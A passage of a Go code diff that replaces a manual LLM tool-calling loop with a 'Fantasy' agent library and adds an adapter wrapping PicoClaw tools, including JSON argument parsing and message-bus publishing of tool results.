-				"iteration": iteration,
-			})
-
-		// 6. Build assistant message with tool calls
-		assistantMsg := providers.Message{
-			Role:    "assistant",
-			Content: response.Content,
-		}
-		for _, tc := range response.ToolCalls {
-			argumentsJSON, _ := json.Marshal(tc.Arguments)
-			assistantMsg.ToolCalls = append(assistantMsg.ToolCalls, providers.ToolCall{
-				ID:   tc.ID,
-				Type: "function",
-				Function: &providers.FunctionCall{
-					Name:      tc.Name,
-					Arguments: string(argumentsJSON),
-				},
-			})
-		}
-		messages = append(messages, assistantMsg)
-
-		// 7. Execute tool calls
-		for _, tc := range response.ToolCalls {
-			argsJSON, _ := json.Marshal(tc.Arguments)
-			argsPreview := utils.Truncate(string(argsJSON), 200)
-			logger.InfoCF("toolloop", fmt.Sprintf("Tool call: %s(%s)", tc.Name, argsPreview),
-				map[string]any{
-					"tool":      tc.Name,
-					"iteration": iteration,
-				})
-
-			// Execute tool (no async callback for subagents - they run independently)
-			var toolResult *ToolResult
-			if config.Tools != nil {
-				toolResult = config.Tools.ExecuteWithContext(ctx, tc.Name, tc.Arguments, channel, chatID, nil)
-			} else {
-				toolResult = ErrorResult("No tools available")
-			}
-
-			// Determine content for LLM
-			contentForLLM := toolResult.ForLLM
-			if contentForLLM == "" && toolResult.Err != nil {
-				contentForLLM = toolResult.Err.Error()
-			}
-
-			// Add tool result message
-			toolResultMsg := providers.Message{
-				Role:       "tool",
-				Content:    contentForLLM,
-				ToolCallID: tc.ID,
-			}
-			messages = append(messages, toolResultMsg)
-		}
+	// Create Fantasy agent
+	agentOpts := []fantasy.AgentOption{
+		fantasy.WithTools(adaptedTools...),
+		fantasy.WithStopConditions(fantasy.StepCountIs(config.MaxIterations)),
 	}
+	if systemPrompt != "" {
+		agentOpts = append(agentOpts, fantasy.WithSystemPrompt(systemPrompt))
+	}
+	agent := fantasy.NewAgent(config.Model, agentOpts...)
+
+	logger.DebugCF("toolloop", "Fantasy agent created for tool loop",
+		map[string]any{
+			"tools_count":    len(adaptedTools),
+			"max_iterations": config.MaxIterations,
+		})
+
+	// Run Fantasy agent
+	result, err := agent.Generate(ctx, fantasy.AgentCall{
+		Prompt: userPrompt,
+	})
+	if err != nil {
+		logger.ErrorCF("toolloop", "Fantasy agent.Generate failed",
+			map[string]any{
+				"error": err.Error(),
+			})
+		return nil, fmt.Errorf("agent Generate failed: %w", err)
+	}
+
+	finalContent := result.Response.Content.Text()
+	stepCount := len(result.Steps)
+
+	logger.InfoCF("toolloop", "Tool loop completed",
+		map[string]any{
+			"steps":         stepCount,
+			"content_chars": len(finalContent),
+		})
 
 	return &ToolLoopResult{
 		Content:    finalContent,
-		Iterations: iteration,
+		Iterations: stepCount,
 	}, nil
 }
+
+// BuildAdaptedToolsFromRegistry wraps all tools in a ToolRegistry as Fantasy AgentTools.
+// This is a local wrapper that avoids circular imports by duplicating the adapter logic.
+func BuildAdaptedToolsFromRegistry(registry *ToolRegistry, msgBus *bus.MessageBus, channel, chatID string) []fantasy.AgentTool {
+	if registry == nil {
+		return nil
+	}
+
+	names := registry.List()
+	adapted := make([]fantasy.AgentTool, 0, len(names))
+
+	for _, name := range names {
+		tool, ok := registry.Get(name)
+		if !ok {
+			continue
+		}
+		adapted = append(adapted, &picoToolAdapter{
+			inner:   tool,
+			bus:     msgBus,
+			channel: channel,
+			chatID:  chatID,
+		})
+	}
+
+	return adapted
+}
+
+// picoToolAdapter wraps a PicoClaw tool as a Fantasy AgentTool.
+// This is a local copy to avoid circular imports with pkg/fantasy.
+type picoToolAdapter struct {
+	inner   Tool
+	bus     *bus.MessageBus
+	channel string
+	chatID  string
+}
+
+func (a *picoToolAdapter) Info() fantasy.ToolInfo {
+	return fantasy.ToolInfo{
+		Name:        a.inner.Name(),
+		Description: a.inner.Description(),
+		Parameters:  a.inner.Parameters(),
+	}
+}
+
+func (a *picoToolAdapter) Run(ctx context.Context, call fantasy.ToolCall) (fantasy.ToolResponse, error) {
+	args, err := parseToolCallArgs(call.Input)
+	if err != nil {
+		return fantasy.NewTextErrorResponse(fmt.Sprintf("invalid arguments: %v", err)), nil
+	}
+
+	if ct, ok := a.inner.(ContextualTool); ok {
+		ct.SetContext(a.channel, a.chatID)
+	}
+
+	if at, ok := a.inner.(AsyncTool); ok {
+		at.SetCallback(func(_ context.Context, result *ToolResult) {
+			if result != nil && result.ForUser != "" && !result.Silent && a.bus != nil {
+				a.bus.PublishOutbound(bus.OutboundMessage{
+					Channel: a.channel,
+					ChatID:  a.chatID,
+					Content: result.ForUser,
+				})
+			}
+		})
+	}
+
+	result := a.inner.Execute(ctx, args)
+	if result == nil {
+		return fantasy.NewTextErrorResponse("tool returned nil result"), nil
+	}
+
+	if result.ForUser != "" && !result.Silent && a.bus != nil {
+		a.bus.PublishOutbound(bus.OutboundMessage{
+			Channel: a.channel,
+			ChatID:  a.chatID,
+			Content: result.ForUser,
+		})
+	}
+
+	if result.IsError {
+		return fantasy.NewTextErrorResponse(result.ForLLM), nil
+	}
+	return fantasy.NewTextResponse(result.ForLLM), nil
+}
+
+func (a *picoToolAdapter) ProviderOptions() fantasy.ProviderOptions {
+	return fantasy.ProviderOptions{}
+}
+
+func (a *picoToolAdapter) SetProviderOptions(_ fantasy.ProviderOptions) {}
+
+// parseToolCallArgs deserializes JSON input string into args map.
+func parseToolCallArgs(input string) (map[string]interface{}, error) {
+	if input == "" || input == "{}" {
+		return map[string]interface{}{}, nil
+	}
+
+	var args map[string]interface{}
+	if err := json.Unmarshal([]byte(input), &args); err != nil {
+		return nil, fmt.Errorf("failed to parse tool arguments: %w", err)
+	}
+	return args, nil
+}